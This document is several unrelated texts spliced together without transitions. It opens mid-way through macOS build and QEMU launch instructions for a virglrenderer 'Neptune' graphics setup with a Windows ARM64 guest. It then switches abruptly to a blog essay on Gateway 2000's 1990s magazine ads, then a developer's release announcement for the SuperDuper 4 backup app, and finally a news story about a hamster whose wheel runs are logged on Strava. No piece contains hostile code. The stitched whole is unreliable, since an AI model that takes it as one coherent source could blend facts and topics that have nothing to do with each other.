  "--prefix=$PREFIX"
meson install -C "$SRC/virglrenderer/build-arm64"
cp "$PREFIX/libexec/virgl_render_server" "$SRC/virglrenderer/virgl_render_server.arm64"

Stash the installed server, not the one in the build tree: only the installed copy carries the install_name‘d path to $PREFIX/lib/libvirglrenderer.1.dylib, and lipo is about to write over it.

2. Rosetta x86_64 render server. This one cross-compiles with the cross file from the d3dmetal-native repository. -Ddefault_library=static links virglrenderer into the server so the fused binary needs no x86_64 dylib, and -Dvtest=false drops the only target that pulls in GL — libepoxy in the prefix is arm64 only. For the same reason the x86_64 configuration must not try to use EGL, so give it its own pkg-config directory with EGL turned off:

cp -R "$PREFIX/lib/pkgconfig" "$PREFIX/lib/pkgconfig-x86_64"
sed -i '' 's/epoxy_has_egl=1/epoxy_has_egl=0/' "$PREFIX/lib/pkgconfig-x86_64/epoxy.pc"
meson setup "$SRC/virglrenderer/build-x86_64" "$SRC/virglrenderer" \
  --cross-file "$SRC/d3dmetal-native/build-macos-x86_64.txt" \
  "-Dc_args=-I$ANGLE_INC" \
  -Dvenus=false \
  -Dneptune=true \
  -Dvtest=false \
  -Drender-server-worker=process \
  -Dcheck-gl-errors=false \
  -Ddefault_library=static \
  "--pkg-config-path=$PREFIX/lib/pkgconfig-x86_64" \
  "--prefix=$PREFIX"
meson compile -C "$SRC/virglrenderer/build-x86_64"

Compile only — installing this configuration would overwrite the native library from step 1.

3. Fuse the two slices.

lipo -create \
  "$SRC/virglrenderer/virgl_render_server.arm64" \
  "$SRC/virglrenderer/build-x86_64/server/virgl_render_server" \
  -output "$PREFIX/libexec/virgl_render_server"
lipo -archs "$PREFIX/libexec/virgl_render_server"   # must print: x86_64 arm64

Neither backend is linked: the render server dlopens libdxmt-native.dylib on the arm64 slice and libd3dmetal-native.dylib on the x86_64 slice, by name, so both must be reachable through the dynamic loader path at run time (see Running). Neither is a build dependency either — a missing one costs you that backend at run time and nothing more.

QEMU

Nothing Neptune-specific has to be enabled at configure time — virglrenderer is picked up through pkg-config, so point PKG_CONFIG_PATH at the prefix you just installed it into:

git clone -b utm-edition https://github.com/utmapp/qemu.git "$SRC/qemu"
mkdir -p "$SRC/qemu/build" && cd "$SRC/qemu/build"
PKG_CONFIG_PATH="$PREFIX/lib/pkgconfig" ../configure \
  "--extra-cflags=-I$ANGLE_INC" \
  "--extra-ldflags=-L$ANGLE_LIB" \
  "--prefix=$PREFIX" \
  --target-list=aarch64-softmmu
make -j"$(getconf _NPROCESSORS_ONLN)" install

The configure summary should report virglrenderer: YES and Cocoa: YES; if virglrenderer is missing, the -device virtio-gpu-gl-pci line below will fail with an unknown device. make install also puts the UEFI firmware in $PREFIX/share/qemu; make the VM its own writable copy of the variable store from pc-bios/edk2-arm-vars.fd in the build directory.

Building (Windows drivers)

You need a Windows machine (or VM) to build the Windows drivers. Full instructions are here and you may want to use build-mesa for the UMD which simplifies the build process. If you just want to test the driver, we have pre-built signed drivers available. Note these drivers are still very unstable and you should not install them on any VM that you care about!

Running

You need a Windows ARM64 guest (you can find instructions to build an image elsewhere or you can use UTM and copy the disk image). sudo is only needed for bridged (vmnet) networking — with user networking QEMU runs fine unprivileged.

export VM=/path/to/vm                    # disk image + EFI variable store
export D3DMETAL=/path/to/D3DMetal.framework
D3DMETAL_FRAMEWORK_PATH="$D3DMETAL" \
DYLD_FALLBACK_LIBRARY_PATH="$PREFIX/lib:$ANGLE_LIB" \
ANGLE_DEFAULT_PLATFORM=metal \
VIRGL_LOG_LEVEL=debug \
"$PREFIX/bin/qemu-system-aarch64" \
  -machine virt \
  -accel hvf,ipa-granule-size=0x1000 \
  -cpu host \
  -smp cpus=4,sockets=1,cores=4,threads=1 \
  -m 4096 \
  -nodefaults \
  -vga none \
  -device virtio-ramfb-gl,hostmem=8G,blob=true,venus=true,neptune=true \
  -display cocoa,gl=es \
  -drive if=pflash,format=raw,unit=0,file.filename="$PREFIX/share/qemu/edk2-aarch64-code.fd",readonly=on \
  -drive if=pflash,unit=1,file.filename="$VM/efi_vars.fd" \
  -device nvme,drive=disk,serial=disk,bootindex=1 \
  -drive if=none,media=disk,id=disk,file.filename="$VM/windows.qcow2",discard=unmap,detect-zeroes=unmap \
  -device nec-usb-xhci,id=usb-bus \
  -device usb-tablet,bus=usb-bus.0 \
  -device usb-kbd,bus=usb-bus.0 \
  -device virtio-net-pci,netdev=net0 \
  -netdev user,id=net0,hostfwd=tcp::2222-:22

The arguments that matter for graphics:

• -device virtio-ramfb-gl,hostmem=8G,blob=true,venus=true,neptune=true — neptune=true advertises the Neptune capset (venus=true additionally advertises Venus for guest Vulkan). blob=true plus a hostmem window is required.
• -accel hvf,ipa-granule-size=0x1000 — HVF maps guest memory at this granularity. The 4KiB pages are required by Venus and optional for Neptune.
• -display cocoa,gl=es — the Cocoa window scans out through ANGLE/Metal until Triton’s scanout blob engages.
• virtio-ramfb-gl is a device that only exists in the UTM fork of QEMU and presents Windows with a POST display that can be used before any drivers are installed. If you are porting this to vanilla QEMU, you can use ramfb, install the drivers, then change to virtio-gpu-gl-pci and reboot.

Environment variables

Variable	Effect
DYLD_FALLBACK_LIBRARY_PATH	How QEMU finds libvirglrenderer, and how the render server finds libdxmt-native.dylib / libd3dmetal-native.dylib — both are dlopened by plain name, so the prefix’s lib directory must be on this path.
RENDER_SERVER_EXEC_PATH	Overrides the render server binary; defaults to the libexec path baked in at build time.
NPT_BACKEND	d3dmetal (default) or dxmt. This selects which slice of the universal render server a Neptune worker is spawned as: x86_64 under Rosetta for D3DMetal, native arm64 for DXMT.
D3DMETAL_FRAMEWORK_PATH	Where libd3dmetal-native.dylib looks for D3DMetal.framework. Without it, it searches next to the dylib and in a sibling Frameworks directory.
NPT_D3D11_LIBRARY_PATH, NPT_DXGI_LIBRARY_PATH, NPT_D3D12_LIBRARY_PATH	Override the backend dylib loaded for each D3D interface. Useful to point at a build tree instead of the installed copy.
NPT_WA_FLAGS	Bitmask forcing the host-side workaround set (shader signature synthesis and friends). NPT_WA_FLAGS=0 disables all of them to see raw backend behavior.
VIRGL_LOG_LEVEL / VIRGL_LOG_FILE	Host renderer logging. debug is what surfaces the npt: lines from the Neptune host module; they go to QEMU’s stdout unless a log file is set.
DMN_LOG, DXMT_LOG_LEVEL	Per-backend logging for d3dmetal-native and DXMT respectively.
VK_DRIVER_FILES	MoltenVK ICD, only needed if you also want Venus (guest Vulkan) working alongside Triton.

What started as endearingly bootstrapped marketing descended into soulless corporate sales.

PC Computing Jul ‘93 via Archive.org

Party hats and sunglasses on animals are the fart jokes of advertising. Somehow lazy and effective, shallow yet infectious, and definitely not too tasteless for Gateway 2000 or its wunderkind president. 

"I've used soap dishes as ashtrays in the best hotels in the world,” Ted Waitt bragged during one of his New York Times interviews, explaining in another article that he picked his 1990 Porsche Carrera-C4 because it was “the only car I could find that would go 160 miles an hour in the snow with the top down." Restraint didn’t rocket him or his company to $1 billion in sales over six short years. And it was never a part of the marketing strategy. 

The 486 Fest spread pictured above was eleven pages long. It had 28 wildly unnecessary “Party Reason” subheadings, more than a dozen barnyard puns, and a photo of all 2,000 Gateway 2000 employees in front of the cow-spotted headquarters in Sioux City. 

“When I worked at PC Magazine in the early 1990s, Gateway 2000 regularly ran 8-to-12-page ad inserts, often featuring cows, cornball jokes, or both,” Lance Ulanoff wrote earlier this year. And that was never more apparent than the months following the company’s eminently unexpected IPO.

Byte Nov ‘93 via byte.tsundoku.io

Gateway had opened its first international headquarters in Dublin one month before this ad, selling mail-order computers in Britain (propped up by marketing in local, region-specific magazines), and working on plans to expand into other parts of Europe. 

The “pilgrimage” was not without, uh, trials and tribulations, however, and Waitt’s prayers were not answered (this time, at least. He did go on to fund the expedition that successfully unearthed the Gospel of Judas in the Egyptian desert but I digress). The hope was that an IPO would buoy some of the unexpected costs from crossing the Atlantic. A gamble that minted one of America’s first tech billionaires. 

“Gateway hit the market at $15 a share. It shot up, then dipped and is now double the original trading price,” according to one article two-years post offering. “Forget that Waitt owns only one suit (a bad-fitting one, to boot), typically sports blue jeans and seldom wears socks, when he hit Wall Street, he blew away any notions by investment bankers that they were dealing with a rube.” 

By December of 1993, Gateway was running cheesy 26-page Christmas ads in Byte and had expanded from a manure-ridden livestock exchange building to the Nasdaq stock exchange.

Byte Feb ‘94 via byte.tsundoku.io

A few not-so-obvious things worth noting about this ad include (but are not limited to!): 

• The cosmic ennui of the woman standing at one o’clock.
• The creepy ogling of Mr. Sunglasses.
• The massive downer of dedicating the page to a dead customer.
• The historical context that these two pages (along with the 13 others in this ad buy) ran when Gateway 2000 was more corporate and plagued by customer complaints than ever.

Sure, the company was hoping to crack the corporate buyer market, but a public SEC filing claimed that, until that happened, “over 50% of the Company's business is believed to be attributable to either previous buyers of Gateway 2000 PCs or new customers referred by previous buyers.” So, in an effort to shore up its base, technical support headcount was doubled, its one-year warranties were tripled, replacement parts were bumped up to one-day deliveries, and the phone lines were open 24 hours.

Still, What’s Luck Got to Do With It cited a market research study from around this time that claimed 87% of potential buyers knew little to nothing about Gateway 2000, hence the spray-and-pray approach to increasing brand awareness. But surely they could have done better than Julius Caesar getting stabbed (while buying eucalyptus lip balm?) because “Sometimes it’s hard to know who to trust,” preceded a few pages earlier by the Leaning Tower of Pisa guy opining that “Mama-mia! What’sa matta me! That’sa last time I buy a kit from the Towers-R-Us catalog.”

"We get horrible marks from the marketing-guru types," Waitt told Inc. Magazine a few years earlier. "But it seems to work." By 1995 Gateway 2000 had purchased additional manufacturing facilities in Virginia and Malaysia, and scooped up an 80% stake in one of Australia’s largest computer retailers–revenues were up to $3.7 billion.

PC World Feb ‘95 via Archive.org

This faux soap opera nails all of my criteria for a Bad Ad. There are a full 230 words wasted on Simone’s “bouts of schizophrenia,” public nudity, and mixed up medications before mention of the first hardware spec. And even if the story was more concise and the details better integrated, how is soap opera parody more relevant to the target audience than, say, IT Crowd style satire. All of that to say nothing of the white-on-yellow text near the top or black-text phone number hiding in shadow near the bottom. It’s a trifecta of terrible!

Of course, this was the same company that shipped an enveloped ad where an insert would transform from black-and-white to color as you pulled it up and out. Waitt was so mad when the intitial quote came back at $3 per piece that he “had the ad printed locally and paid church groups, employees on their free time, and temporary workers to assemble it. The ad came in ‘far under’ that original price.” It’s not hard to organize events like that when your personal assistant is the former mayor of the city your $3-billion-a-year business operates in.

Like almost all of the ‘93-’96 Gateway 2000 magazine ads, As The Hard Drive Turns was actually several loosely related vignettes printed across 10+ pages in Byte, PC World, and Computer Shopper. Sometimes appearing two months in a row with almost imperceptible updates in the interim.  

Computer Shopper Mar ‘95 via Archive.org

Please, if you only take the time to open and read one ad from this issue, beginning to end, make it this one. “Come to me you stud muffin…love in the rubble awaits us!” Julia the Successful Realtor begs, only for Trevor the Sexy Construction Worker to swat away her advances as he reads off the P5-75’s “bodacious features” while…viewing a screen grab on the monitor of the barely different ad version from the previous month? Sure, why not.

This is, hands down, peak Bad Tech Ads. What started in the early 80s as costumed old men confusing then-cutting-edge hardware with science fiction eventually evolved into Gateway 2000’s perfected pastiche of puns and pop culture, allusion and allegory. It’s all downhill from here, folks, for Ted Waitt, for Gateway 2000, and delightfully campy computer marketing in general.

PC World Aug ‘95 via Archive.org 

Once again, we have Ted himself starring in an elaborately staged, costumed, and produced multi-page Gateway 2000 saga. In fact, I’m willing to bet either the cow-spotted boat or motorcycle on this page, or the private jet on the last page, or all three, are not props but from Waitt’s real-life garage. And maybe I’m trying to bend history to fit my narrative, but it just isn’t as fun as his appearance in the saloon spread or the Robin Hood shoot. Those were stories of geeky underdogs beating the odds. Agent 2000 is about a rich, well-equipped, veteran agent effortlessly outperforming B-movie henchmen to “Defend All PC Buyers.” I could not care less.

Still, Gateway 2000 retained most of its hard-earned reputation for another year or two. It launched its first website in 1996, the same year it began opening brick-and-mortar stores in the suburbs, where it would show off the poorly reviewed and quickly discontinued Destination 2000 home entertainment PC/TV/modem.

But in 1997, the company began ditching its iconic Holstein cow branding “in an attempt to refine its image,” and started gobbling up companies like Amiga. A year later it dropped “2000” from its name and moved its headquarters to San Diego, so Waitt could spend more time at his 16,000 square-foot, mountaintop property in La Jolla. 

"The thing I would definitely do over again is the whole San Diego thing," Ted told the Sioux City Journal in 2007. "That was probably the single biggest mistake."

Things didn’t calamitously implode. But the decline was obvious. Ted resigned in 1999, with each successive product performing worse than the last, and the dot-com bubble destroying the balance sheet.

You can still buy Gateway computers today, manufactured in Shenzhen and sold exclusively through Walmart.com. But you won’t see Waitt in any 12-page spreads advertising them. And you won’t get to brag that you own a computer from Iowa.

Cited References:

• PC Computing Jul '93 (Archive.org)
• Ted Waitt Isn't Walking Away From Gateway (The New York Times)
• Sound Bytes: On the Near Side of 30, at Gateway 2000 (The New York Times)
• Remember Gateway 2000? (TechRadar)
• Byte Nov '93 (byte.tsundoku.io)
• Gateway 2000 UK ad (The Spotty Box)
• Gospel of Judas Surfaces After 1,700 Years (The New York Times)
• Gateway hits the Nasdaq (Virginia Tech / VA-Pilot)
• Byte Dec '93 Christmas ads (byte.tsundoku.io)
• Byte Feb '94 (byte.tsundoku.io)
• Gateway 2000 SEC filing (SEC.gov)
• What's Luck Got to Do With It (Archive.org)
• Remember the Gateway 2000 advertisements? (/r/vintagecomputing)
• Byte Jun '94 (byte.tsundoku.io)
• Betting the Farm (Inc. Magazine)
• PC World Feb '95 (Archive.org)
• Bad Ads Defined (Such Bad Tech Ads)
• Remember the Gateway 2000 advertisements? (Reddit)
• Computer Shopper Mar '95 (Archive.org)
• PC World Aug '95 (Archive.org)
• Gateway 2000 website, 1996 (Wayback Machine)
• Computer Shopper Jul '96 (Archive.org)
• International Directory of Company Histories (Archive.org)
• Gateway: One awesome ride (Sioux City Journal) (Wayback Machine)

Uncited References:

• Gateway Inc. (Wikipedia)
• How Outsourcing Led Gateway 2000 Astray (Tedium.co)
• From Dropout to Billionaire: Founder of Gateway Resigns (The New York Times)

Executive Summary

Brand new, top-to-bottom rewrite of SuperDuper now available.

All the Details

22 years.

SuperDuper has had an impressive run. It has lasted, in its original form, for longer than any other product I’ve ever been involved with over the (so far) 43 years of my working career. Somehow, Shirt Pocket—and SuperDuper—has been more than half of that. Over those years, most of the design decisions made way back in 2004 have proven to withstand the test of time:

• The text-based What’s going to happen? section;
• The status view that clearly shows the process that’s taking place during the copy, ticking off the steps as it goes along;
• The minimal number of options that let you stay focused on the task at hand.

At the same time, some choices constrained what the program could do:

• It was document-based, which made sense at the time, but wasn’t really how users thought about the process;
• Scheduling was a bit of a bolt-on (and suffered from a disastrous initial usability test before release), driving the interface through scripting (RIP AppleScript, hello direct event dispatch from Swift) and isolating its details in a separate window, divorced from the source;
• Copy failures, while rare, basically gave a “whoops” and asked users to examine a log filled with technical details of the error;
• Only “native” Apple file systems were supported (HFS+ and APFS);
• And some concepts, like the Sandbox—great in the days of macOS before the Sealed System Volume—were rendered obsolete, sent to the land of wind and ghosts by Apple’s relentless forward march.

I could go on: products are a combination of good and bad, of success and failure, and I learned to live with the (mostly good!) balance.

Dreams Become Reality

Back in 2007, I designed what was intended to be SuperDuper v3.0. It was a rewrite that greatly expanded its capabilities while retaining its essence.

But, in those days, it just wasn’t possible for us to implement those grand plans. The new UI was much more complex, the logic more elaborate, and the systems we had then didn’t support the things needed to make it a reality without a lot of complex coding we didn’t have time for.

On top of that, macOS itself was a moving target (and still is!): adding and deprecating features; completely changing the file system; locking down the OS; supporting not just one change in CPU, but three.

With a tool so tied to how the system operated at a low level, it was a lot of work just keeping up with what Apple was doing.

So, I put the notebook with that design in it on a shelf.

For nearly 20 years.

Today, I’m happy to say that I’ve finally been able to carve out enough time to grab that “old” redesign, flesh it out further, modernize it, and make that dream a reality.

Welcome to SuperDuper! 4

The new version of SuperDuper is a ground-up rewrite, a tip-to-tail reinvention of what SuperDuper looks like, how it works, what it can do, and where I can take it in the future.

The new version feels different, yet familiar. The successful elements of SuperDuper’s design, like What’s going to happen? and the status view, are still there, but they’ve been refreshed and modernized.

Documents have been retired and replaced with Copy Jobs, which are stored internally and organized by source. If you want to copy Macintosh HD, that’s where you start. Click, and you’re presented with one or more template copy operations, or you can start from scratch.

Configuration is done right inline by clicking bold, underlined link elements and selecting options from pop-ups. The effect of your choices is immediately reflected in What’s going to happen?, ensuring you know what to expect when you click Copy Now.

Preview

And if you’re still unsure, you can safely see what’s going to happen…for real. Click the Preview button and SuperDuper will run the copy without making changes and present you with a report that shows exactly what would have been updated, added, deleted, etc., had this been a real run.

Blazing Speed!

Once you decide it’s time to make the copy, SuperDuper 4 is much faster than before. And I’m not just talking 20% or 30% faster. Smart Updates are between 2x and, with the new Turbo feature, an order of magnitude faster.

As an example, my typical nightly Smart Update, of an 8-million-file volume, about 2.5TB of data, used to take around 40 minutes to run.

Without Turbo, it now takes about 20 minutes. But with Turbo…it’s only about a minute.

One minute. OK, yes, sticklers—that’s actually quite a bit more than an order of magnitude. ¯\_(ツ)_/¯

History

Successful and failed runs are shown at the bottom of the copy job, with color-coded dots that can be clicked to display details.

If scheduled, a clear indication of when the next run will occur is there as well. And for those going for the Guinness Book of Backup Records, there’s an indication of how many successful runs this job has done in a row.

No UI Needed

At a technical level, SuperDuper has been split into a “helper” or “server”, which runs the copy, and an interface, which is the part you interact with. That means that, once registered, you can quit the SuperDuper application and your backups will still run. They’ll even run if you log out!

It also means that a scheduled copy doesn’t suddenly show the interface. It just happens, in the background.

If a copy is in progress, re-opening the app will show you the status and progress of the copy—and while a copy is going on, a menu bar item is present to show a compressed view of the same information.

Many Copies at Once

You can run any number of copies at the same time. If you have four backups you need to do, just click Copy Now for each, and they’ll all run simultaneously.

Have four backups scheduled to run at 4am? They’ll all run at that time, rather than back to back.

File Systems and Folders

SuperDuper 4 now supports copying to and from any file system the Mac supports. Using a “Photos” drive with both Windows and Mac that’s formatted as exFAT? No problem: you can copy it.

Need to copy your Documents folder to “Documents Backup” on a NAS? Now you can.

Have a network volume that you want to copy to a local folder? SuperDuper 4 can do it.

Copy Rules

Copy Scripts have been replaced by Copy Rules. Now, you can easily create rules that can select files and folders from the source or destination for special handling. Need to ensure that a specific folder is never written to or deleted? You can do that with a few clicks.

Want to exclude any folder named Caches in /Library? No problem. And you can see the effect of your rule as you create it, so you can be sure you’ve done the right thing.

No More Shell Scripts

I’ve added Shortcuts support, so you can create a shortcut that runs before or after a copy, on success, or on error. Want to send an email on success or failure? Beep when copies are done? It’s now easy, and with Golden Gate’s Apple Intelligence shortcut support, anyone can do it.

Or, at least, probably anyone.

And if you still want to run a shell script, you can…from the shortcut.

Speaking of Shortcuts

Not only does SuperDuper let you call a shortcut from a copy—you can create, run, and check on a copy job from a shortcut!

If you have an unusual workflow—say, you want to copy any SD card with photos on it to a folder named after that card—you can now do it with a few clicks.

…And So Much More

This is already (much) too long, but there’s so much new stuff that I’ve been wanting to show you. I hope you’re as excited to use this as I am to get it into your hands after all this time.

System Requirements

SuperDuper 4 requires macOS 14 (Sonoma) or later. SuperDuper 3 is still available for those who need to copy under macOS 13 (Ventura) or earlier.

Upgrades

In all the years SuperDuper has been on the market, we’ve never charged for updates and never even raised the price. That’s 22 years of free updates.

SuperDuper 4 is a totally new version, far more capable than before, and as such, I’ve decided this is going to be its first paid upgrade. I’ve also adjusted the price for inflation since 2004. So it’s still the same bargain it was back when it was first released, but in today’s dollars.

SuperDuper 4 is free for qualifying recent purchases. Other SuperDuper 3 customers who purchased after July 31, 2020, receive an upgrade discount of up to 30%, based on purchase date.

As before, even without a license, you can make full, bootable backups for free, and I (yes, it’s really me, I work too much) provide support for both registered and unregistered users.

Dinner’s Served

I’ve been looking forward to this day for a long time, and now that the day has finally arrived, I’m excited to see what you think. Reach out to support if you have any questions, praise, or, if you must, complaints.

And please register or upgrade! The only way I can continue to do this is with your financial support. If you like SuperDuper, share the love and tell your friends!

With that:

Download SuperDuper 4

I use Strava for the obvious stuff, like runs, HIIT classes, and the occasional commute that goes full workout when I’m desperate to get my steps in. I’m not a pet owner, but I can understand a dog walk making it on there, too. The dog may be involved, but at least you’re still the one doing the walking.

But workouts uploaded from a hamster wheel? That feels like new territory.

Thijs de Buck, an MRI physicist based in Utrecht, the Netherlands, recently posted on Reddit that he built a speed and distance tracker for his hamster’s wheel, with the data automatically uploaded to Mollie’s own Strava account. Mollie, his 10-month-old hamster, is now committed to logging nightly runs with distance, pace, and time.

One recent activity showed 6.06 miles in 4 hours and 37 minutes. The next night, Mollie logged 5.55 miles in 3 hours and 56 minutes.

View full post on Strava

At first, de Buck just wanted to know how much distance Mollie was covering after dark.

“I bought a very cheap bicycle computer pretty much right away,” he told Runner’s World.

That worked at first, because the bike computer also used a magnet and sensor. But there was one very hamster-specific problem to deal with, as the sensor would shift into standby mode once Mollie stopped running for more than five minutes.

“So if Mollie would take a lunch break at 1 a.m., we’d have no idea how far he’d have run after that,” de Buck said.

The bike computer also only gave him total distance, and that just wasn’t going to cut it. De Buck wanted the full Strava treatment because apparently even hamsters deserve splits, uploads, and post-run analysis.

The build itself is clever, but the basic idea is simple. As de Buck explains it, a magnet on the wheel passes a hall sensor, which detects each rotation. An ESP32—basically a tiny programmable computer—keeps track of the data overnight. In the morning, he says a script on his laptop collects the information, turns it into a Strava-compatible .FIT file, and uploads the activity through the Strava API.

“All that remains is for me to manually add a photo of Mollie, and for Mollie to do the actual hard work during the night,” de Buck said.

De Buck could have stopped once the runs were uploading, but a hamster Strava account needed all the extra features. There’s a tiny organic light-emitting diode (OLED) display to show Mollie’s live speed, a code that helps for automated personal-best tracking, and more than 100 possible run titles, including “The Fast and the Furriest” and “No Rest for the Whiskered,” naturally.

The one thing he didn’t plan for was that auto-uploading the files this way required a paid account.

“There was really only one reasonable solution: my hamster now has Strava Premium,” de Buck said.

A hamster with this much performance data was always going to find an audience. De Buck said the account picked up thousands of likes, more than 1,200 kudos, and more than 600 followers within a week. He also signed Mollie up for Strava’s August 400-minute challenge, and Mollie completed it on Day 2—a wake-up call for anyone still ignoring their own monthly challenges.

Mollie has been with de Buck since Christmas, and his life outside training sounds, quite frankly, pretty focused. De Buck described it as “eat-sleep-run-repeat,” with Mollie spending much of the day hidden underground before waking up and alternating between food and wheel time.

De Buck and Mollie during a recent training session.

And the little guy’s not exactly phoning it in. De Buck said Mollie is averaging almost 10 kilometers per night, with a current record of 10.8 kilometers after the first week of tracking.

“I really believe he’ll be able to exceed that soon,” he said.

Mollie also has a weirdly consistent schedule for a hamster. Over one seven-day stretch, he started within the same 10-minute window on five nights, between 9:54 and 10:04 p.m. He tends to run in short bursts, sometimes reaching about 4 to 5 kilometers per hour on the live monitor, then hops off for water.

“Even elite athletes need to stay hydrated,” de Buck joked.

De Buck is a runner himself, which helps explain why the project ended up with this level of data. He said he loves “tracking every possible stat” during marathon training, so wanting more information about Mollie’s nightly mileage felt natural. He is also dealing with a minor injury at the moment, which gave him more time to work on the setup.

“When I get back, I think it’ll be a nice challenge to try to match Mollie’s weekly running distance,” he said. “I don’t normally hit 70km a week!”

The next milestone is Mollie’s 20th run, when Strava should start giving race predictions.

“I can’t wait to see his estimated 5K and marathon times,” de Buck said, “and whether he’ll manage to improve those predictions over time! Although I’m a bit worried he’ll have a better marathon time than me.”